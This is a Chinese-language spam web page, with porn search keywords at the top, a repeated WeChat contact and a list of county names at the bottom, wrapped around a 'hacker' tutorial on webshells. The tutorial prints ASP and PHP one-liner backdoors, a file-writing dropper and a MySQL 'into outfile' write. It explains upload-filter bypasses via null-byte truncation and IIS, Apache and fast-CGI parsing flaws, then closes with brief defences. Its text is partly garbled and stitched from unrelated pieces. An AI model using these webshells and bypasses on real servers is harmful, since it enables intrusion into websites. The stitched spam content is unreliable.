国产精品999,99热在线观看,99国产精品99久久久久久,欧美性猛交99久久久久99按摩

是女人一定要看!一篇讀懂(可以直接利用webshell)webshell和shell-”黑客“入門學(xué)習(xí)之“webshell技術(shù)詳解”

最近在我的黑客攻防視頻教程里多次提到了"webshell"這個名詞,很多朋友就私信問我"webshell" 究竟是什么啊?為什么很多黑客技術(shù)資料里都有提及它?

今天我們就以本篇文章內(nèi)容給大家詳細(xì)介紹一下"webshell技術(shù)“!

一、 什么是webshell

1、簡介

webshell,顧名思義:"web" - 顯然需要服務(wù)器開放,"shell" - 取得對服務(wù)器某種程度上操作權(quán)限。webshell就是就是web的一個管理工具,可以對web服務(wù)器進(jìn)行操作的權(quán)限,也叫webadmin。

webshell是以asp、php、jsp等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也稱其為一種網(wǎng)頁后門。一般說來,當(dāng)Hacker入侵一個網(wǎng)站后,會把這些asp、php木馬的后門文件放在該網(wǎng)站的web目錄中,和正常的網(wǎng)頁文件混雜,其命名可能和正常的文件命名很類似,讓人無法第一眼通過文件名判斷其為后門文件。然后呢,他就可以利用web請求的方式,用asp或者php木馬后門控制網(wǎng)站服務(wù)器,包括上傳下載文件、查看數(shù)據(jù)庫、執(zhí)行任意程序命令等一系列操作。

2、基本分類

webshell根據(jù)腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基于.NET的腳本木馬和JSP腳本木馬。

根據(jù)功能分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request("pass")%>通常把這句話寫入一個文檔里面,然后文件名改成xx.asp。然后傳到服務(wù)器上面。這里eval方法將request("pass")轉(zhuǎn)換成代碼執(zhí)行,request函數(shù)的作用是應(yīng)用外部文件。這相當(dāng)于一句話木馬的客戶端配置。服務(wù)器配置(即本機(jī)配置):

這里通過提交表單的方式,將木馬提交上去,具體的做法是將定義一個對象IP,然后以文本方式寫入newvalue里面的內(nèi)容(newvalue的內(nèi)容在textarea定義),寫入以覆蓋的方式產(chǎn)生ASP文件,然后執(zhí)行這個腳本。其中客戶端中的value代表的是表單的名字,必須跟服務(wù)端(本機(jī))的post提交中的表單名一樣,所以這里的value可以為任意字符,相當(dāng)于一個密碼之類的東西,但是這個密碼是明文的,可以截取下來。PHP的一句話原理跟以上的原理差不多,就是語言的差別導(dǎo)致語法不同。這就是小馬的基本工作原理。

大馬的工作模式簡單的多,他沒有客戶端與服務(wù)端的區(qū)別,就是一些腳本大牛直接把一句話木馬的服務(wù)端整合到了一起,通過上傳漏洞將大馬上傳,然后復(fù)制該大馬的url地址直接訪問,在頁面上執(zhí)行對web服務(wù)器的滲透工作。但是有些網(wǎng)站對上傳文件做了嚴(yán)格的限制,因?yàn)榇篑R的功能較多,所以體積相對較大,很有可能超出了網(wǎng)站上傳限制,但是小馬的體積可以控制(比如把代碼復(fù)制很多遍,或者在一個亂碼文件中夾入代碼),但是小馬操作起來比較繁瑣,可以先上傳小馬拿到webshell,然后通過小馬的連接上傳大馬拿到服務(wù)器。

3、基本原理

可執(zhí)行腳本

a.HTTP數(shù)據(jù)包($_GET、$_POST、$_COOKIES、$_SERVER[args]等)

數(shù)據(jù)傳遞

執(zhí)行傳遞的數(shù)據(jù)

a.直接執(zhí)行(eval、system、passthru等)

b.文件包含執(zhí)行(include、require等)

c.動態(tài)函數(shù)執(zhí)行($a="phpinfo";$a();)

d.Curly Syntax執(zhí)行(${ls})

e.preg_replace(第一個參數(shù)存在/e)

f.ob_start函數(shù)

g.回調(diào)函數(shù)(array_map等)

h.反序列化(unserialize等)

二、 webshell常見獲取方式

1、上傳漏洞獲取WebShell

首先說我們最常見的,已經(jīng)講過的上傳漏洞,通過上傳一句話木馬等,獲得服務(wù)器的執(zhí)行權(quán)利。

文件上傳漏洞主要有以下幾種情況:

· MIME類型繞過漏洞

· 文件擴(kuò)展名繞過漏洞

· 文件內(nèi)容檢測繞過類上傳漏洞

· 空字節(jié)截斷目錄路徑檢測繞過類上傳漏洞

· 我們可以將Request包的Content-type修改,就可以成功繞過了服務(wù)端MIME類型檢測,像這種服務(wù)端檢測http包的Content-type都可以用這種類似方法來繞過

檢測解析導(dǎo)致的文件上傳漏洞:

· IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞

· Apache站上的解析缺陷繞過上傳漏洞

· htaccess文件上傳解析漏洞

這其中的技術(shù)點(diǎn)主要是使用Bp修改一些請求的參數(shù),包括使用00截斷操作文件名,更改類型,當(dāng)然還有二進(jìn)制連接等手段。

還有一些編輯器存在漏洞導(dǎo)致的文件上傳,比如FCK編輯器。

2、sql注入獲取webshell

一直以來,都以為sql注入都是用來暴露和查詢關(guān)鍵信息的,其實(shí)對于數(shù)據(jù)庫操作來說,SQL注入攻擊可以獲取WebShell其實(shí)就是在向服務(wù)器寫文件。(注意:這里我們需要得到網(wǎng)站的絕對路徑)所有常用的關(guān)系數(shù)據(jù)庫管理系統(tǒng)(RDBMS)均包含內(nèi)置的向服務(wù)器文件系統(tǒng)寫文件的功能。

MySQL:

select into outfile(dumpfile) //MySQL寫文件命令

# 例如:

select "<?php echo test; ?>" into outfile "F:\\www\\test.php";

那么其它關(guān)系數(shù)據(jù)庫管理系統(tǒng)同樣的原理寫文件,就不在過多介紹了。

3、數(shù)據(jù)庫備份獲取WebShell

對于這個方法,我遇見過得就是拿到管理員賬號和密碼之后是可以登錄后臺的,雖然存在上傳的地方,但是只能是jpg圖像,這個時候必須還得將它改成.asp后綴。這里可以用到網(wǎng)站中的數(shù)據(jù)庫備份漏洞。在后臺的"系統(tǒng)管理"中提供了"數(shù)據(jù)庫備份"功能,我們可以將上傳上去的圖片文件作為要備份的數(shù)據(jù)庫,然后利用可以指定備份文件名的漏洞,把備份后的文件改名成.asp后綴。具體操作如下圖所示。

成功備份之后,記下已更名的webshell文件的路徑\wwwroot\admin\.\admin\webshell.asp。

這里就成功地將webshell上傳到了網(wǎng)站,輸入URL:我們就可以訪問這個網(wǎng)頁了,由于他這個是個大馬所以可以這樣,我們一般的一句話木馬沒有任何內(nèi)容,一般是使用中國菜刀進(jìn)行連接。

4、CMS獲取WebShell

什么是CMS?

CMS是Content Management System的縮寫,意為"內(nèi)容管理系統(tǒng)"。 內(nèi)容管理系統(tǒng)是企業(yè)信息化建設(shè)和電子政務(wù)的新寵,也是一個相對較新的市場。對于內(nèi)容管理,業(yè)界還沒有一個統(tǒng)一的定義,不同的機(jī)構(gòu)有不同的理解。

常見的CMS有哪些?

asp平臺:動易CMS、創(chuàng)力CMS、科汛CMS、新云CMS;

php平臺:phpcms、織夢CMS、帝國CMS、php168 CMS;

ASP.NET平臺:Zoomla!逐浪CMS、動易CMS、風(fēng)訊CMS、We7 CMS;

CMS獲取WebShell方法

公開漏洞途徑:以PHPCMS為例:

我們可以利用搜索引擎來查找互聯(lián)網(wǎng)上公開的通用漏洞,如果目標(biāo)站點(diǎn)并沒有進(jìn)行修復(fù),即可輕松獲取WebShell。

代碼審計途徑:

有很多CMS其實(shí)是開源的,我們可以在官網(wǎng)下載到源碼,然后進(jìn)行代碼審計,自己挖掘漏洞, 來獲取WebShell。

三、如何上傳webshell

1、解析漏洞上傳

現(xiàn)在對于不同的web服務(wù)器系統(tǒng)對應(yīng)的有不同的web服務(wù)端程序,windows端主流的有iis,linux端主流的有nginx。這些服務(wù)對搭建web服務(wù)器提供了很大的幫助,同樣也對服務(wù)器帶來隱患,這些服務(wù)器上都存在一些漏洞,很容易被黑客利用。

(1)iis目錄解析漏洞

比如:/xx.asp/xx.jpg

雖然上傳的是JPG文件,但是如果該文件在xx.asp文件夾下,那個iis會把這個圖片文件當(dāng)成xx.asp解析,這個漏洞存在于iis5.x/6.0版本。

(2)文件解析漏洞

比如:xx.asp;.jpg。在網(wǎng)頁上傳的時候識別的是jpg文件,但是上傳之后iis不會解析;之后的字符,同樣會把該文件解析成asp文件,這個漏洞存在于iis5.x/6.0版本。

(3)文件名解析

比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都會被當(dāng)成可執(zhí)行文件,里面的asp代碼也同樣會執(zhí)行。(其中asa文件是asp特有的配置文件,cer為證書文件)。

(4)fast-CGI解析漏洞

在web服務(wù)器開啟fast-CGI的時候,上傳圖片xx.jpg。內(nèi)容為:

1 <?php fputs(fopen(shell.php,w),<?php eval($_POST[shell])?>);?>

這里使用的fput創(chuàng)建一個shell.php文件,并寫入一句話。訪問路徑xx.jpg/.php,就會在該路徑下生成一個一句話木馬shell.php。這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。語言環(huán)境:PHP,prel,Bourne Shell,C等語言。

*注:fast-CGI是CGI的升級版,CGI指的是在服務(wù)器上提供人機(jī)交互的接口,fast-CGI是一種常駐型的CGI。因?yàn)镃GI每次執(zhí)行時候,都需要用fork啟用一個進(jìn)程,但是fast-CGI屬于激活后就一直執(zhí)行,不需要每次請求都fork一個進(jìn)程。比普通的CGI占的內(nèi)存少。

(5)apache解析漏洞

apache解析的方式是從右向左解析,如果不能解析成功,就會想左移動一個,但是后臺上傳通常是看上傳文件的最右的一個后綴,所以根據(jù)這個,可以將馬命名為xx.php.rar,因?yàn)閍pache解析不了rar,所以將其解析為php,但是后臺上傳點(diǎn)就將其解析為rar,這樣就繞過了上傳文件后綴限制

2、截斷上傳

在上傳圖片的時候,比如命名1.asp .jpg(asp后面有個空格),在上傳的時候,用NC或者抓到表單,將上傳名asp后面加上%00(在burpsuite里面可以直接編輯HEX值,空格的HEX值為20,將20改為00),如果HEX為00的時候表示截斷,20表示空格,如果表示截斷的時候就為無視腳本中的JPG驗(yàn)證語句,直接上傳ASP。

3、后臺數(shù)據(jù)庫備份

在一些企業(yè)的后臺管理系統(tǒng)中,里面有一項(xiàng)功能是備份數(shù)據(jù)庫(比如南方cms里面就有備份數(shù)據(jù)庫的功能)??梢陨蟼饕粡垐D片,圖片里面含有一句話木馬,或者將大馬改成jpg格式,然后用數(shù)據(jù)庫備份功能,將這張圖片備份為asp等其他內(nèi)容可以被解析為腳本語句的格式,然后再通過web訪問就可以執(zhí)行木馬了,但是這種方法很老了,現(xiàn)在大多數(shù)的cms已經(jīng)把這種備份的功能取消了,或者禁用了。

4、利用數(shù)據(jù)庫語句上傳

(1) mysql數(shù)據(jù)庫into outfile

這種方式的前提必須是該網(wǎng)站有相應(yīng)的注入點(diǎn),而且當(dāng)前用戶必須要有上傳的權(quán)限,而且必須有當(dāng)前網(wǎng)頁在服務(wù)器下的絕對路徑。方法是用聯(lián)合查詢,將一句話木馬導(dǎo)入到網(wǎng)站下邊的一個php文件中去,然后使用服務(wù)端連接該網(wǎng)站。但是上述方法條件過于苛刻,一般遇到的情況很少。

(2)建立新表寫入木馬

一些開源cms或者自制的webshell會有數(shù)據(jù)庫管理功能,在數(shù)據(jù)庫管理功能里面有sql查詢功能,先使用create table shell(codetext);創(chuàng)建一個名字叫做shell的表,表里面有列明叫做code,類型為text。然后使用insert into shell(code) values(一句話馬),這里講shell表中的code列賦值為一句話的馬,然后通過自定義備份,將該表備份為x.php;x然后就被解析成為php然后執(zhí)行了,這里不是x.php;x就一定能夠解析為php,不同的web服務(wù)器上面的服務(wù)程序不同,然后過濾規(guī)則也不同,可能會使用其他的方式。

(3)phpMyadmin設(shè)置錯誤

phpMyadmin用來管理網(wǎng)站數(shù)據(jù)庫的一個工具,其中config.inc.php為其配置文件,在查看的該文件的時候,如果$cfg[Servers][$i][auth_type]參數(shù)的值設(shè)置沒有設(shè)置(默認(rèn)為config)說明在登陸數(shù)據(jù)庫的時候沒有做相應(yīng)的驗(yàn)證,可以直接連入數(shù)據(jù)庫,而且在Mysql在一些版本下面默認(rèn)登陸都是以root用戶進(jìn)行登陸(即管理員),所以登陸進(jìn)去為最大權(quán)限。但是root一般只能本地登陸,所以必須創(chuàng)建一個遠(yuǎn)程登陸用戶。用遠(yuǎn)程登陸用戶登陸之后,創(chuàng)建一個表,然后再將一句話木馬寫入。

四、webshell的防范措施

了解了webshell的基本原理之后,最關(guān)鍵的防止器植入asp、php、jsp等木馬程序文件,使用webshell一般不會在系統(tǒng)日志中 留下記錄,只會在網(wǎng)站的web日志中留下一些數(shù)據(jù)提交記錄,沒有經(jīng)驗(yàn)的管理員是很難看出入侵痕跡的。我們一般可以從以下幾方面對安全性進(jìn)行處理:

1、Web軟件開發(fā)的安全

A、程序中存在文件上載的,攻擊者利用漏洞上載木馬程序文件。

B、防sql注入、防暴庫、防COOKIES欺騙、防跨站腳本攻擊。

2、服務(wù)器的安全和web服務(wù)器的安全

A、服務(wù)器做好各項(xiàng)安全設(shè)置,病毒和木馬檢測軟件的安裝(注:webshell的木馬程序不能被該類軟件檢測到),啟動防火墻并關(guān)閉不需要的端口和服務(wù)。

B、提升web服務(wù)器的安全設(shè)置

C、對以下命令進(jìn)行權(quán)限控制(以windows為例):

cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe

3、ftp文件上載安全

設(shè)置好ftp服務(wù)器,防止攻擊者直接使用ftp上傳木馬程序文件到web程序的目錄中

4、文件系統(tǒng)的存儲權(quán)限

設(shè)置好web程序目錄及系統(tǒng)其它目錄的權(quán)限,相關(guān)目錄的寫權(quán)限只賦予給超級用戶,部分目錄寫權(quán)限賦予給系統(tǒng)用戶。

將web應(yīng)用和上傳的任何文件(包括)分開,保持web應(yīng)用的純凈,而文件的讀取可以采用分靜態(tài)文件解析服務(wù)器和web服務(wù)器兩種服務(wù)器分 別讀?。ˋpache/Nginx加tomcat等web服務(wù)器),或者圖片的讀取,有程序直接讀文件,以流的形式返回到客戶端。

5、不要使用超級用戶運(yùn)行web服務(wù)

對于apache、tomcat等web服務(wù)器,安裝后要以系統(tǒng)用戶或指定權(quán)限的用戶運(yùn)行,如果系統(tǒng)中被植入了asp、php、等木馬程序文件,以超級用戶身份運(yùn)行,webshell提權(quán)后獲得超級用戶的權(quán)限進(jìn)而控制整個和計算機(jī)。

6、利用安全工具進(jìn)行檢測

D盾:

以上就是【是女人一定要看!一篇讀懂(可以直接利用webshell)webshell和shell-”黑客“入門學(xué)習(xí)之“webshell技術(shù)詳解”】的全部內(nèi)容。

微信:N915888888
(歡迎您前來咨詢)

評論

留下您的評論

發(fā) 表
微信:N915888888

微信:N915888888
(歡迎您前來咨詢)

微信:N915888888
若尔盖县| 双江| 潼关县| 翼城县| 龙口市| 花垣县| 漳州市| 富裕县| 即墨市| 乌拉特中旗| 达州市| 海南省| 兴文县| 海城市| 玉门市| 古浪县| 丰城市| 永川市| 石楼县| 广水市| 前郭尔| 高陵县| 吉林市| 霞浦县| 阿坝县| 托克逊县| 垦利县| 冕宁县| 揭东县| 台北市| 竹山县| 达日县| 依兰县| 栖霞市| 临汾市| 巨野县| 鹰潭市| 七台河市| 新津县| 明溪县| 洛扎县|